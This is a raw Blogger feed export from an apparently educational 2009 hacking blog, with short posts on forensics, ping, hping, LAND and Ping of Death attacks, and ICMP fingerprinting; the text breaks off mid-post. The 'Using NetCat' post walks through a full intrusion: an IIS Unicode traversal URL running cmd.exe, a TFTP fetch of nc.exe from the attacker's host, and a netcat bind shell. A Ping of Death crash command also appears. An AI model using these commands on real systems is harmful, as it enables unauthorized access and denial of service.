/&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.all-about-forensic-science.com/images/computer_forensics_expert.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: right; cursor: pointer; width: 146px; height: 109px;" src="http://www.all-about-forensic-science.com/images/computer_forensics_expert.jpg" alt="" border="0" /&gt;&lt;/a&gt;Computer Forensics involves&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a style="color: rgb(0, 0, 0); text-decoration: none;" title="Acquisition of Digital Evidence" href="http://swizardb.blogspot.com/2009/08/aquitision-of-digital-evidence.html"&gt;acquisiton&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a style="color: rgb(0, 0, 0); text-decoration: none;" title="Preservation of Digital Evidence" href="http://swizardb.blogspot.com/2009/08/preservation-of-digital-evidence.html"&gt;preservation&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a style="color: rgb(0, 0, 0); text-decoration: none;" title="Identification of Digital Evidence" href="http://swizardb.blogspot.com/2009/08/identification-of-digital-evidence.html"&gt;identification&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a style="color: rgb(0, 0, 0); text-decoration: none;" title="Evaluation of Digital Evidence" href="http://swizardb.blogspot.com/2009/08/evaluation-of-digital-evidence.html"&gt;analysis&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a style="color: rgb(0, 0, 0); text-decoration: none;" title="Presentation of Digital Evidence" href="http://swizardb.blogspot.com/2009/08/presentation-of-digital-evidence.html"&gt;presentation &lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;of &lt;a style="color: rgb(0, 0, 0); text-decoration: none;" title="Digital Evidence" href="http://swizardb.blogspot.com/2009/08/digital-evidence.html"&gt;digital evidence&lt;/a&gt; in a manner that is legally acceptable in any judicial or administrative hearing.&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-31011708548654231?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/31011708548654231/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/computer-forensics.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/31011708548654231'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/31011708548654231'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/computer-forensics.html' title='Computer Forensics'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-2832802650533728233</id><published>2009-08-27T23:00:00.000-07:00</published><updated>2009-08-27T23:27:46.243-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking Tools'/><category scheme='http://www.blogger.com/atom/ns#' term='System Enumeration'/><category scheme='http://www.blogger.com/atom/ns#' term='Operating System Detection'/><category scheme='http://www.blogger.com/atom/ns#' term='Port Scanning'/><title type='text'>HPing</title><content type='html'>&lt;div style="text-align: justify;"&gt;hping is a command-line oriented TCP/IP packet assembler/analyzer. hping sends ICMP echo requests &amp;amp; also supports &lt;a style="text-decoration: none; color: rgb(0, 0, 0);" href="http://swizardb.blogspot.com/2009/06/transmission-control-protocol-tcp.html" title="Transmission Control Protocol (TCP)"&gt;TCP&lt;/a&gt;, UDP, &lt;a title="Internet Control Message Protocol (ICMP)" style="text-decoration: none; color: rgb(0, 0, 0);" href="http://swizardb.blogspot.com/2009/08/internet-control-message-protocol-icmp.html"&gt;ICMP&lt;/a&gt; and RAW-IP protocols, has a traceroute mode, the ability to send files between a covered channel, and many other features.&lt;br /&gt;&lt;br /&gt;Hping is one of the &lt;i&gt;de facto&lt;/i&gt; tools for security auditing and testing of firewalls and networks. While hping was mainly used as a security tool in the past, it can be used in many ways by people that don't care about security to test networks and hosts. A subset of the stuff you can do using hping:&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt; Firewall testing &lt;/li&gt;&lt;li&gt; Advanced port &lt;a title="Scanning" style="text-decoration: none; color: rgb(0, 0, 0);" href="http://swizardb.blogspot.com/2009/06/scanning.html"&gt;scanning&lt;/a&gt; &lt;/li&gt;&lt;li&gt; Network testing, using different protocols, TOS, fragmentation &lt;/li&gt;&lt;li&gt; Manual path MTU discovery &lt;/li&gt;&lt;li&gt; Advanced traceroute, under all the supported protocols &lt;/li&gt;&lt;li&gt; Remote &lt;a title="Operating System Detection" style="text-decoration: none; color: rgb(0, 0, 0);" href="http://swizardb.blogspot.com/2009/07/operating-system-detection.html"&gt;OS fingerprinting&lt;/a&gt; &lt;/li&gt;&lt;li&gt; Remote uptime guessing &lt;/li&gt;&lt;li&gt; TCP/IP stacks auditing &lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;Hping works on the following unix-like systems: Linux, FreeBSD, NetBSD, OpenBSD, Solaris, MacOs X, Windows.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;a onmouseover="color: #ff0000;" style="text-decoration: none; color: rgb(0, 0, 0);" href="http://d9n.blogspot.com/2009/08/hping.html" target="_blank"&gt;Download HPing at Download Mall&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://linux.softpedia.com/screenshots/hping_1.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 385px; height: 490px;" src="http://linux.softpedia.com/screenshots/hping_1.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;span style="font-size:78%;"&gt;FIG . &lt;span style="font-weight: bold;"&gt;HPING2 &lt;/span&gt;. Click to enlarge&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-2832802650533728233?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/2832802650533728233/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/hping.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/2832802650533728233'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/2832802650533728233'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/hping.html' title='HPing'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-2700875327443669127</id><published>2009-08-27T00:57:00.000-07:00</published><updated>2009-08-27T23:21:52.096-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Port Scanning'/><title type='text'>Ping Utility</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;a title="ping" style="text-decoration: none; color: rgb(0, 0, 0);" href="http://swizardb.blogspot.com/2009/08/ping.html"&gt;Ping&lt;/a&gt; Utility sends ICMP echo requests to the address you specify and lists the responses received and their round trip time. Alternatively, &lt;a style="text-decoration: none; color: rgb(0, 0, 0);" href="http://swizardb.blogspot.com/2009/06/transmission-control-protocol-tcp.html" title="Transmission Control Protocol (TCP)"&gt;TCP&lt;/a&gt;/UDP packets are sent if incoming &lt;a title="Internet Control Message Protocol (ICMP)" style="text-decoration: none; color: rgb(0, 0, 0);" href="http://swizardb.blogspot.com/2009/08/internet-control-message-protocol-icmp.html"&gt;ICMP&lt;/a&gt; messages are blocked. When the utility is terminated it summarizes the results, giving the average round trip time and the percent packet loss. This utility can be used to determine whether there is a problem with the network connection between two hosts.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;TOOLS : Pinger, WS_Ping ProPack, NetScan Tools, &lt;a title="HPing" style="text-decoration: none; color: rgb(0, 0, 0);" href="http://swizardb.blogspot.com/2009/08/hping.html"&gt;HPing&lt;/a&gt;, icmpenum&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-2700875327443669127?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/2700875327443669127/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/ping-utility.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/2700875327443669127'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/2700875327443669127'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/ping-utility.html' title='Ping Utility'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-5323111065310912268</id><published>2009-08-27T00:38:00.000-07:00</published><updated>2009-08-27T01:16:46.965-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='TCP/IP'/><title type='text'>Ping</title><content type='html'>&lt;div style="text-align: justify;"&gt;Ping is a basic Internet program that allows a user to verify that a particular IP address exists and can accept requests.&lt;br /&gt;&lt;br /&gt;Ping is used diagnostically to ensure that a host computer the user is trying to reach is actually operating. Ping works by sending an &lt;a title="Internet Control Message Protocol (ICMP)" style="text-decoration: none; color: rgb(0, 0, 0);" href="http://swizardb.blogspot.com/2009/08/internet-control-message-protocol-icmp.html"&gt;Internet Control Message Protocol (ICMP)&lt;/a&gt; Echo Request to a specified interface on the network and waiting for a reply. Ping can be used for troubleshooting to test connectivity and determine response time.&lt;br /&gt;&lt;br /&gt;To find out the IP address for a given domain name e.g. en.wikipedia.org, Windows users can go to their command prompt screen (start/run/cmd) or use an external &lt;a style="text-decoration: none; color: rgb(0, 0, 0);" title="Ping Utility" href="http://swizardb.blogspot.com/2009/08/ping-utility.html"&gt;ping utility&lt;/a&gt; and enter &lt;pre style="font-weight: bold;"&gt;&lt;span style="font-weight: normal;"&gt;ping en.wikipedia.org&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;The following result was obtained from pinging en.wikipedia.org from Windows cmd.&lt;br /&gt;&lt;pre&gt;Pinging rr.pmtpa.wikimedia.org [208.80.152.2] with 32 bytes of data:&lt;br /&gt;Reply from 208.80.152.2: bytes=32 time=80ms TTL=53&lt;br /&gt;Reply from 208.80.152.2: bytes=32 time=81ms TTL=53&lt;br /&gt;Reply from 208.80.152.2: bytes=32 time=84ms TTL=53&lt;br /&gt;Reply from 208.80.152.2: bytes=32 time=84ms TTL=53&lt;br /&gt;&lt;br /&gt;Ping statistics for 208.80.152.2:&lt;br /&gt;Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),&lt;br /&gt;Approximate round trip times in milli-seconds:&lt;br /&gt;Minimum = 80ms, Maximum = 84ms, Average = 82ms&lt;br /&gt;&lt;/pre&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://upload.wikimedia.org/wikipedia/commons/b/b5/Ping_deny.png"&gt;&lt;img style="border: 0px none ; width: 405px; height: 193px;" alt="Ping deny.png" src="http://upload.wikimedia.org/wikipedia/commons/b/b5/Ping_deny.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;Fig.&lt;span style="font-weight: bold;"&gt; PING DENY&lt;/span&gt; A server denying a ping request because of the request's size&lt;/span&gt;.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-5323111065310912268?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/5323111065310912268/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/ping.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/5323111065310912268'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/5323111065310912268'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/ping.html' title='Ping'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-2238025773484098934</id><published>2009-08-26T04:56:00.000-07:00</published><updated>2009-08-26T05:12:15.716-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='DOS Attack'/><title type='text'>LAND Attack</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-weight: bold;"&gt;"A LAND attack involves IP packets where the source and destination address are set to address the same device."&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;In a LAND attack, the attacker sends infinite packets to the victim system from the victim system itself i.e spoofing the &lt;a style="text-decoration: none; color: rgb(0, 0, 0);" href="http://swizardb.blogspot.com/2009/06/transmission-control-protocol-tcp.html" title="Transmission Control Protocol (TCP)"&gt;TCP&lt;/a&gt; SYN packet with the target host's IP address and using an open port as both source and destination.&lt;br /&gt;&lt;br /&gt;The attack involves sending a spoofed TCP SYN packet with the target host's IP address and an open &lt;a style="text-decoration: none; color: rgb(0, 0, 0);" href="http://swizardb.blogspot.com/2009/06/tcp-ports.html" title="Port"&gt;port&lt;/a&gt; as both source and destination. The same source and target address and port number crashes the victim system. The reason a LAND attack works is because it causes the machine to reply to itself continuously.&lt;br /&gt;&lt;br /&gt;Other land attacks have since been found in services like SNMP and Windows 88/tcp (kerberos/global services) which were caused by design flaws where the devices accepted requests on the wire appearing to be from themselves and causing replies repeatedly.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-2238025773484098934?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/2238025773484098934/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/land-attack.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/2238025773484098934'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/2238025773484098934'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/land-attack.html' title='LAND Attack'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-3241622119493289507</id><published>2009-08-26T04:34:00.000-07:00</published><updated>2009-08-27T00:52:17.898-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='DOS Attack'/><title type='text'>PING OF DEATH</title><content type='html'>&lt;div style="text-align: justify;"&gt;The maximum packet size allowed to be transmitted by TCP/IP on a network is 65536(2^16-1) bytes.&lt;br /&gt;&lt;br /&gt;In the Ping of Death (POD) Attack, a packet having a size greater than this maximum size allowed by TCP/IP, is sent to the target system. As soon as the target system receives a packet exceeding the allowable size, then it crashes, reboots or hangs.&lt;br /&gt;&lt;br /&gt;This attack can easily be executed by the ‘&lt;a title="ping" style="text-decoration: none; color: rgb(0, 0, 0);" href="http://swizardb.blogspot.com/2009/08/ping.html"&gt;ping&lt;/a&gt;’ command as follows:&lt;br /&gt;&lt;pre style="font-weight: bold;"&gt;ping -l 65540 hostname&lt;/pre&gt;This exploit has affected a wide variety of systems, including Unix, Linux, Mac, Windows, printers, and routers. However, most systems since 1997-1998 have been fixed, so this bug is mostly historical. The only solution is to secure the kernel against overflow when reconstructing IP fragments.&lt;br /&gt;&lt;br /&gt;If your system is still vulnerableb to this attack, it will crash upon running this command:&lt;br /&gt;&lt;pre&gt;&lt;span style="font-weight: bold;"&gt;ping -l 65510 your.host.ip.address&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-3241622119493289507?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/3241622119493289507/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/ping-of-death.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/3241622119493289507'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/3241622119493289507'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/ping-of-death.html' title='PING OF DEATH'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-2226343857757786009</id><published>2009-08-13T03:58:00.001-07:00</published><updated>2009-08-13T04:09:14.884-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking Tools'/><category scheme='http://www.blogger.com/atom/ns#' term='System Enumeration'/><category scheme='http://www.blogger.com/atom/ns#' term='Operating System Detection'/><category scheme='http://www.blogger.com/atom/ns#' term='Port Scanning'/><title type='text'>Using NetCat</title><content type='html'>In this post, I'll demonstrate a tutorial complete hack, using free : &lt;a title="NetCat" style="color: rgb(0, 0, 0); text-decoration: none;" href="http://swizardb.blogspot.com/2009/08/netcat.html"&gt;NetCat&lt;/a&gt; only, just to point out how versatile it is.&lt;br /&gt;&lt;br /&gt;type "&lt;span style="font-weight: bold;"&gt;nc /?&lt;/span&gt;" (without quotes) to explore various options/switches related to NetCat.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Port scanning with Netcat&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;A scanning example from Hobbit is "nc -v -w 2 -z target 20-30". Netcat will try connecting to every port from 20 to 30 at the target.&lt;br /&gt;-z prevents sending any data to a TCP connection and very limited probe data to a UDP connection, and is thus useful as a fast scanning mode just to see what ports the target is listening on.&lt;br /&gt;&lt;/div&gt;&lt;img style="width: 453px; height: 233px;" src="http://i40.tinypic.com/a1pxqo.jpg" /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;We scanned 192.168.1.1, ports 1-200. We can see that among others, port 80, 21 and 25 are open.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Banner Grabbing with Netcat&lt;/span&gt;&lt;br /&gt;We're now interested in knowing what's running behind port 80 and 21. We can use Netcat to grab port banners in the following way:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;img style="width: 414px; height: 241px;" src="http://i43.tinypic.com/okud1h.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;img style="width: 415px; height: 186px;" src="http://i43.tinypic.com/2ajyq0h.jpg" alt="[Image: 2ajyq0h.jpg]" border="0" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Let's try to send a malformed URL which attempts to exploit the &lt;a style="color: rgb(0, 0, 0); text-decoration: none;" href="http://www.google.co.in/search?hl=en&amp;amp;q=iis+Unicode+File+Traversal" target="_blank"&gt;Unicode File Traversal vulnerability&lt;/a&gt; in unpatched IIS servers (Pre SP3). Basically this exploit allows us to "break out" of C:\inetpub\wwwroot and explore and execute programs anywhere on the attacked machine.&lt;br /&gt;&lt;br /&gt;&lt;img style="width: 471px; height: 239px;" src="http://i44.tinypic.com/24whevd.jpg" alt="[Image: 24whevd.jpg]" border="0" /&gt;&lt;br /&gt;&lt;br /&gt;Voila! We've sent the URL:&lt;br /&gt;http://192.168.1.90/scripts/..%255c../winnt/system32/cmd.exe?/c+dir+c:%5C to the vulnerable IIS server and what we see is a directory listing of the IIS server C drive. Great! Now we want to upload Netcat to the IIS server, so we'll use TFTP and integrate the TFTP commands into the malformed URL&lt;br /&gt;&lt;br /&gt;&lt;img style="width: 494px; height: 243px;" src="http://i44.tinypic.com/6savma.jpg" alt="[Image: 6savma.jpg]" border="0" /&gt;&lt;br /&gt;&lt;br /&gt;tftp –I 192.168.1.9 GET nc.exe&lt;br /&gt;Is transformed to:&lt;br /&gt;http://&amp;lt;Exploit URL&amp;gt;/c+TFTP+-i+192.168.1.9+GET+nc.exe&lt;br /&gt;Also take a note of your TFTP server, to see if it has successfully uploaded the nc.exe file:&lt;br /&gt;&lt;br /&gt;&lt;img style="width: 383px; height: 270px;" src="http://i43.tinypic.com/23lcrqc.jpg" alt="[Image: 23lcrqc.jpg]" border="0" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Netcat as a BackDoor&lt;/span&gt;&lt;br /&gt;In order to act as a backdoor we need Netcat to listen on a chosen port on the IIS server (lets choose port 10001) and then we can connect to this port from our attacking machine…using Netcat of course!&lt;br /&gt;&lt;br /&gt;The command we want to give on the server looks like this:&lt;br /&gt;nc -L -p 10001 -d -e cmd.exe&lt;br /&gt;&lt;br /&gt;Here's what that command does:&lt;br /&gt;nc - tells Windows to run the nc.exe file with the following arguments:&lt;br /&gt;-L Tells netcat to not close and wait for connections&lt;br /&gt;-p Specifies a port to listen for a connection on&lt;br /&gt;-d Tells Netcat to detach from the process we want it to run.&lt;br /&gt;-e Tells what program to run once the port is connected to (cmd.exe)&lt;br /&gt;&lt;br /&gt;If we now want to convert this command for Unicode URL use, it will look like this:&lt;br /&gt;http://&amp;lt;Exploit URL&amp;gt;/c+nc+-L+-p+10001+-d+-e+cmd.exe&lt;br /&gt;Now we will execute Netcat on the remote IIS machine:&lt;br /&gt;&lt;br /&gt;&lt;img style="width: 505px; height: 209px;" src="http://i39.tinypic.com/bfi5ox.jpg" alt="[Image: bfi5ox.jpg]" border="0" /&gt;&lt;br /&gt;&lt;br /&gt;This should have started Netcat listening on port 10001 on the IIS machine and should connect the cmd.exe process to the connection stream. From our machine we will try to connect to the Netcat on the IIS server.&lt;br /&gt;&lt;br /&gt;&lt;img style="width: 510px; height: 393px;" src="http://i42.tinypic.com/2w3dsw5.jpg" alt="[Image: 2w3dsw5.jpg]" border="0" /&gt;&lt;br /&gt;Tada! We have now "Shoveled a Shell" using Netcat. We effectively have a remote command prompt of the IIS server, as can be seen from the IPConfig.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Transferring files using Netcat&lt;/span&gt;&lt;br /&gt;We can use Netcat to transfer files from one system to another. To receive a file named hack.txt on the destination system start Netcat on the IIS server with the following command:&lt;br /&gt;nc –l –p 1234 &amp;gt;hack.txt&lt;br /&gt;&lt;br /&gt;&lt;img style="width: 488px; height: 306px;" src="http://i43.tinypic.com/drb6dj.jpg" alt="[Image: drb6dj.jpg]" border="0" /&gt;&lt;br /&gt;&lt;br /&gt;On our source system (the attacking computer) we send a file named hack.txt to the IIS machine with the following command:&lt;br /&gt;nc destination 1234 &amp;lt;hack.txt&lt;br /&gt;&lt;br /&gt;&lt;img style="width: 500px; height: 226px;" src="http://i39.tinypic.com/2hdbcko.jpg" alt="[Image: 2hdbcko.jpg]" border="0" /&gt;&lt;br /&gt;&lt;br /&gt;Issue a ^C on the source system and your done. Be sure to check the file to be sure it is the same size as the original. This is what hack.txt looks like&lt;br /&gt;&lt;br /&gt;&lt;img style="width: 355px; height: 187px;" src="http://i43.tinypic.com/16k3qf6.jpg" alt="[Image: 16k3qf6.jpg]" border="0" /&gt;&lt;br /&gt;&lt;br /&gt;and voila&lt;br /&gt;&lt;br /&gt;&lt;img style="width: 404px; height: 297px;" src="http://i40.tinypic.com/282oysp.jpg" alt="[Image: 282oysp.jpg]" border="0" /&gt;&lt;br /&gt;&lt;br /&gt;We can see that the file hack.txt has been transferred to the target system, via port 1234.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-2226343857757786009?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/2226343857757786009/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/using-netcat.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/2226343857757786009'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/2226343857757786009'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/using-netcat.html' title='Using NetCat'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://i40.tinypic.com/a1pxqo_th.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-829036393006194665</id><published>2009-08-13T03:15:00.000-07:00</published><updated>2009-08-13T03:33:13.780-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Operating System Detection'/><title type='text'>ICMP Scanning - OS Detection</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;ul&gt;&lt;li&gt;There are numerous possible&lt;a title="Internet Control Message Protocol (ICMP)" style="text-decoration: none; color: rgb(0, 0, 0);" href="http://swizardb.blogspot.com/2009/08/internet-control-message-protocol-icmp.html"&gt; ICMP&lt;/a&gt; query messages that one can generate and send across a network. The list is available at: http://www.isi.edu/in-notes/iana/assignments/icmp-parameters.&lt;/li&gt;&lt;li&gt;When a host receives a particular type of ICMP query message, then according to its operating system, the host will generate a predefined respond.&lt;/li&gt;&lt;li&gt;This response varies from OS to OS and the contents of the response generated due to the ICMP messages varies from one OS to another and is same for one type of OS.&lt;/li&gt;&lt;li&gt;In other words, the response of a host to a particular type of ICMP message is hugely dependent on the OS running on it.&lt;/li&gt;&lt;li&gt;The same ICMP message sent to a UNIX system and a Windows system, will generate two different responses. This difference in responses, exists due to different Operating Systems.&lt;/li&gt;&lt;li&gt;By sending ICMP messages to a host and comparing the responses invoked against the known responses, one can deduce the OS running on the host.&lt;br /&gt;&lt;a id="1" title="1"&gt;&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-weight: bold;"&gt;ICMP Error Message Quenching&lt;/span&gt; -- Some (smart) operating systems limit the rate at which various error messages are sent. For example, the Linux kernel (in net/ipv4/icmp.h) limits destination unreachable message generation to 80 per 4 seconds, with a 1/4 second penalty if that is exceeded. One way to test this is to send a bunch of packets to some random high UDP port and count the number of unreachables received. This test would make the OS detection take a bit longer since you need to send a bunch of packets and wait for them to return, so it is hardly used in any scanner. Also dealing with the possibility of packets dropped on the network would be a pain.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a id="2" title="2"&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-weight: bold;"&gt;ICMP Message 